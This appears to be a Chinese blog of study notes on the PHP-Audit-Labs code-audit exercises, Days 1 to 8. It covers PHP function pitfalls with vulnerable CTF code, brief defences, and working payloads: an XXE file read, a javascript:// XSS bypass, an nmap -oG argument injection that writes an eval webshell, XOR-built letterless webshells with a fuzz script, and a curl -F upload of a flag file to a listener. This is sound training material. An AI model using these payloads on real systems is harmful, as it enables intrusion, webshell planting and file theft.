PHP-Audit-Labs练习 持续更新....

Day1

in_array()函数漏洞

这个漏洞的关键在于第三个参数上,如果没设置为true就会出现问题。
题目给的代码如下:

我们发现post传进去的rate参数,只使用了in_array函数进行过滤并且没有设置第三个参数为true。
那么我们传入rate=3shell.php的话,在使用in_array()进行检查的时候,会先把rate转换成3,然后在判断是否存在。这样就会绕过in_array检测机制。
测试代码如下:

防御措施

1.使用intval强制转换成int类型

这样即使我们输入的参数不合法,也会被强制转换为int类型,从而不会造成危害。

2.将in_array函数的第三个参数设置为true

这样在比较的时候,要求类型也要一样,从而不会绕过。

CTF Docker 题目

主要代码如下:


在index.php页面,发现使用了in_array函数,但是没有加以限制,这就会造成这个函数的检测形如虚设。我们只需绕过stop_hack即可。
检查正则表达式发现没有过滤报错函数,我们可以进行报错注入得到flag。


Day2

filter_var函数缺陷

当第二个参数设置为上图的值,会检测第一个参数是否为正确的url。
这里是可以绕过的,一般可以使用:javascript:// file:// test://等绕过。
注意:javascript:// 中的//是注释符,当我们使用这个弹框时可以使用如下payload:

1
2
3

javascript://comment%250aalert(1)
其中的%250a=>%0a 是换行符的意思。

测试代码如下:


发现这是可以绕过的。

防御措施

不光要使用filter_var进行过滤,还要使用其他的过滤的措施。
如下图,xss防御措施:

CTF Docker 题目

payload:

1
?url=file://||sec-redclub.com


Day3

实例化任意对象漏洞

实列化对象漏洞是:用户可以输入一个参数,作为对象名,输入任意个参数,作为对象的参数。如果没有对用户输入做严格限制就会导致这个漏洞。
直接拿CTF题来演示,用到的函数如下:


题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class NotFound
{
function __construct()
{
die('404');
}
}

spl_autoload_register(
function ($class) {
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)) {
$newclass = new $classname($param, $param2);
var_dump($newclass);
foreach ($newclass as $key => $value)
echo $key . '=>' . $value . '<br>';
}

class_exists 函数来判断类是否存在,如果不存在的话,就会调用程序中的 autoload 函数,但是这里没有 autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息。
这个发现没有对用户输入进行限制,可以造成xxe任意文件读取漏洞。


1
name=GlobIterator&param=./*.php&param2=0

最后payload:
1
name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=G:/PHPstudy/PHPTutorial/WWW/flag.txt">]><x>%26xxe;</x>&param2=2

这里注意的是:读取文件要使用php伪协议,因为:当文件中存在: < > & ‘ “ 这5个符号时,会导致XML文件解析错误。
最后成功读取到文件。


Day4

strpos使用不当引发漏洞

说是strpos函数,其实就是程序员对一些php漏洞点理解不当而造成的。

实列代码如下:

看到第8,9行,通过strpos函数检测$user和pass是否包含<>,但是这个有个忽略点:false 和 0 的取反均为 true 。
所以如果我们让$user或$pass开头包含<,则返回的是true。
我们通过实列测试一下:

发现即使字符串中包含<>也是可以进入判断体的,这就造成了绕过。

其实不光strpos函数,==号也存在这样的问题,==号出现的问题叫做弱类型比较。因为==号在比较时会先转换成相同的类型在比较,这就造成了绕过。
实列代码如下:


Day5

escapeshellcmd与escapeshellarg

作用范围:Linux
两个函数作用如下:


实列代码如下:

1
2
3
4
5
6
7
8
9
10

<?php
/**
 * Create By Da4er.
 */
$shell_string = "'<?php phpinfo() ?> -oG hack.php'";
$shell1 = escapeshellarg($shell_string);
$shell2 = escapeshellcmd($shell1);
echo $shell1."\n";
echo $shell2."\n";


根据运行结果看出:先将字符串经过escapeshellarg转换成shell能识别的字符,在用escapeshellcmd对字符串进行转义,可以造成字符逃逸执行特殊命令。
官方解释如下:

CTF题目

题目对host参数用上述两个函数进行了过滤,可以逃逸出去。在结合nmap的命令可以写入shell到网站。
payload如下:

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

-oG参数可以将前面的一句话写到hack.php中。

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }
}
?>

这道题目不光考了两个函数的作用,也考了变量覆盖和md5弱类型比较。
首先看变量覆盖的知识点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

这段代码通过一个waf函数将get,post,cookie传进去的参数的参数名不能包含flag,如果这道题是判断的值不能不包含flag的话,直接使用数组绕过即可,但是判断的是参数名,我们还需要另想办法,最后发现倒数一二行有个extract函数,可以变量覆盖。但是设置了EXTP_SKIP参数,表示如果前面存在参数就不进行变量覆盖,最后看一下这个很关键的数组。这个数组的逻辑是:
1
$$__R如果存在,就循环遍历_POST,_GET,_COOKIE的键名和值,如果相等,就会unset变量。

那么绕过就可以从这个开始:
1
首先通过get传递flag=test,通过post传递_GET[flag]。则$$__就是$_GET[flag],$__v为test,即可消除变量。但是在最后有个extract函数,有会在创建一个$_GET[flag]=test从而绕过waf函数。

md5弱类型比较好绕过这里不在说明。
最后就是escapeshellarg和 escapeshellcmd的绕过,关键在于一句话:
1
2

escapeshellcmd ,会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "仅在不配对儿的时候被转义。

将不匹配的’和”转义,说明我们在传入的参数中添加个单引号即可绕过。
最后就是curl如何读取flag.php文件了,这里我们可以设置个vps监听,然后通过-F参数上传本地的flag.php到一个网站,这里拿百度为例,payload如下:

这里我没有复现成功,因为要想这么使用对curl的版本也是有要求的,最后附上wp的说明。


Day6

正则使用不当导致的路径穿越问题

看题目给的实列:

在第20行unlink函数之前没有对传入的$file变量进行过滤,导致我们可以进行目录穿越来删除任意文件。
看官方给的说明:

CTF Docker 题目

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

在本地进行转换代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<?php
/**
* Create By Da4er.
*/
$password =@$_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
else{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr)){
echo 'wrong';
echo preg_match_all($reg, $password, $arr);
}
else{
echo 1111;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3){
echo "da4er";
}
else{
echo 2222;
if ("42" == $password){
echo "true";
}
else{
echo "false";
}
}
}
}

正则如下:

经过了三次正则判断:

1
2
3
一.判断password变量里面有12个或12个以上的可打印字符
二.password变量的打印字符,十进制数,小写字母,大写字母大于等于6
三.匹配password中的字符,十进制数,小写字母,大写字母,如果匹配到$c变量加一

经过上面的逻辑判断,payload如下:

即可绕过正则。
这里需要注意:弱类型比较漏洞,必须要进行类型转换,像本题的最后一个就是弱类型比较,进绕过时传入的password变量必须是int类型(一个小坑)

Day7

parse_str引起的变量覆盖

测试代码如下:

CTF Docker 题目

题目如下:
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
$a = "hongri";
echo $a;
$id = @$_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
else{
echo $a[0];
}
?>

uploadsoming.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
echo $msg;
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

在index.php中可以通过parse_str进行变量覆盖:

在uploadsoming.php中主要使用的竞争原理,关键函数usleep(100000)
关键代码:

1
2
3
4
5
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";

Day8

preg_replace与代码执行

测试代码如下:

上面那段代码的payload:

1
\S*=${phpinfo()}

这里主要利用了三个知识点:preg_replace()函数/e模式导致的代码执行,正则中(\1)表示捕获第一个匹配的字符串,双引号导致的变量解 析(可变变量)
参考博客:
https://xz.aliyun.com/t/2557

CTF Docker 题目

有两道CTF题目,代码如下:


这道题主要利用了无字母或数字的webshell,参考p神博客
fuzz脚本如下:

将这些数字对应的ascii找出来,在url编码一下,得到payload:

1
2
3
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";
等效于:
$_=getFlag;

最后利用:




相比于第一个,过滤了下划线。可以使用中文字符代替,或者测试一些那些字符可以当作变量名fuzz脚本如下:

1
2
3
4
5
6
7
import requests
for i in range(0,256):
asc = "%%%02x" % i
url = 'http://127.0.0.1/PHP/ceshi/webshell/index.php?code=$%s="{{{{{{{"^"%%1c%%1e%%0f%%3d%%17%%1a%%1c";$%s();' % (asc,asc)
r = requests.get(url)
if 'flag' in r.text:
print("%s 可用" % asc)

payload:

1
2
$呵="`{{{"^"?<>/";${$呵}[呵](${$呵}[呵]);&呵=getFlag
$%7F="{{{{{{{"^"%1C%1E%0F%3d%17%1A%1C";$%7F();

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×